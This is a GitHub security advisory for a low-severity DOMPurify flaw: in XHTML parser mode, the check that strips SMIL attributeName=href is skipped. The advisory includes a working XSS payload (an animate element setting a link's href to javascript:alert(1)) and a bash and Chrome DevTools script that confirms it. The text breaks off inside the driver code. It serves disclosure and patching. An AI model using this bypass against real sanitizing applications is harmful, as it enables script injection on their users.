GitHub Advisoryadvisory · npm

GHSA-c6gr-qvv4-5v3f DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml

LOW Published 2026-10-22 Modified 2026-10-22 Official page ↗
Ecosystem
npm
Packages
dompurify
Severity
Low
Weaknesses
CWE-79
Reviewed
2026-10-22

Affected packages

• npm dompurify: < 3.4.17 → fixed in 3.4.17

Description

Summary DOMPurify drops `attributeName` attributes whose value contains `href`, so an allowed `` or `` can't rewrite a link's href after sanitizing. The check compares the attribute name after `transformCaseFunc`, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled `attributeName`, so the comparison with `"attributename"` never matches and the guard does nothing. An app that uses `PARSER_MEDIA_TYPE: 'application/xhtml+xml'` and allows `animate` and `attributeName` will keep ``. Clicking the parent link then runs the script. This needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config. Details In `_sanitizeAttributes` (dist/purify.js line 2216 in 3.4.16): ```js const lcName = transformCaseFunc(name); ... if (lcName === "attributename" && stringMatch(value, "href")) { _removeAttribute(name, currentNode, attr); continue; } ``` `transformCaseFunc` is `stringToLowerCase` for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name `attributeName`, so in XHTML mode `lcName` is `attributeName` and the branch never runs. People using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so `ALLOWED_ATTR`/`ADD_ATTR: ['attributeName', ...]` is the config you'd naturally write here. The value also passes the URI check. `IS_ALLOWED_URI` only checks the start of the string, and `x;javascript:alert(1)` looks like a relative value. SMIL reads `values` as a `;` list and, with `fill="freeze"`, the last entry ends up as the effective href of the parent ``. In text/html mode the same allowlist is handled correctly. The name is lowercased and `attributeName` is removed. This is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes & Bypass History §22): a check written for lowercase names that a case-preserved name gets past. Proof of concept Tested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x. Config: ```js const cfg = { PARSER_MEDIA_TYPE: 'application/xhtml+xml', ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'], ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'], }; ``` `{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] }` behaves the same. Input: ```html click ``` Steps: 1. Save this as `poc.xhtml` next to `purify.js` (3.4.16) and open it in Chrome. The `.xhtml` extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML. ```html poc //click'; const clean = DOMPurify.sanitize(dirty, cfg); console.log(clean); document.getElementById('sink').innerHTML = clean; //]]> ``` 2. The logged output still contains `attributeName="href"` and `values="x;javascript:alert(1)"`. 3. `document.getElementById('q').href.animVal` returns `"javascript:alert(1)"`. 4. Click "click" and `alert(1)` runs. As a control, remove `PARSER_MEDIA_TYPE` and change the allowlist entry to `attributename`. The output then loses `attributeName`, `href.animVal` is `""`, and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page. An automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below. poc.sh ```bash !/usr/bin/env bash PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode. Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:"application/xhtml+xml" config that allow-lists + attributeName, renders the output into div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse event and reports whether alert() fired. Also runs the same allowlist in text/html mode as a control (DOMPurify strips attributeName there). usage: ./poc.sh [dompurify-version] (default 3.4.16, fetched via `npm pack`) DOMPURIFY_JS=/path/to/purify.js ./poc.sh CHROME=/path/to/chrome ./poc.sh needs: node >= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary. exit: 0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error set -euo pipefail VER="${1:-3.4.16}" WORK="$(mktemp -d)" trap 'rm -rf "$WORK"' EXIT if [ -z "${DOMPURIFY_JS:-}" ]; then (cd "$WORK" && npm pack "dompurify@$VER" --silent >/dev/null 2>&1 && tar xzf dompurify-*.tgz) || { echo "npm pack dompurify@$VER failed" >&2; exit 2; } DOMPURIFY_JS="$WORK/package/dist/purify.js" fi if [ -z "${CHROME:-}" ]; then for c in "$HOME"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \ "$HOME"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \ "$(command -v google-chrome || true)" "$(command -v chromium || true)" "$(command -v chromium-browser || true)"; do [ -n "$c" ] && [ -x "$c" ] && CHROME="$c" && break done fi [ -n "${CHROME:-}" ] || { echo "no Chrome/Chromium found; set CHROME=" >&2; exit 2; } cat > "$WORK/poc.html" poc //' + '' + 'click'; function run(mode) { const cfg = { ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'], ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'], }; if (mode === 'xhtml') cfg.PARSER_MEDIA_TYPE = 'application/xhtml+xml'; const clean = DOMPurify.sanitize(payload, cfg); document.getElementById('sink').innerHTML = clean; return clean; } //]]> EOF cp "$DOMPURIFY_JS" "$WORK/purify.js" Same test inside a real XHTML document (no HTMLXHTML context flip): the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser. sed -e 's#poc#poc#' \ -e 's###' \ -e 's#^$##' "$WORK/poc.html" > "$WORK/poc.xhtml" cat > "$WORK/drive.js" <<'EOF' // zero-dependency CDP driver over --remote-debugging-pipe const { spawn } = require('child_process'); const [chrome, url, dir] = process.argv.slice(2); const xurl = url.replace(/\.html$/, '.xhtml'); const p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run', `--user-data-dir=${dir}/profile`, 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] }); let id = 0, buf = ''; const pend = new M…

Related

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References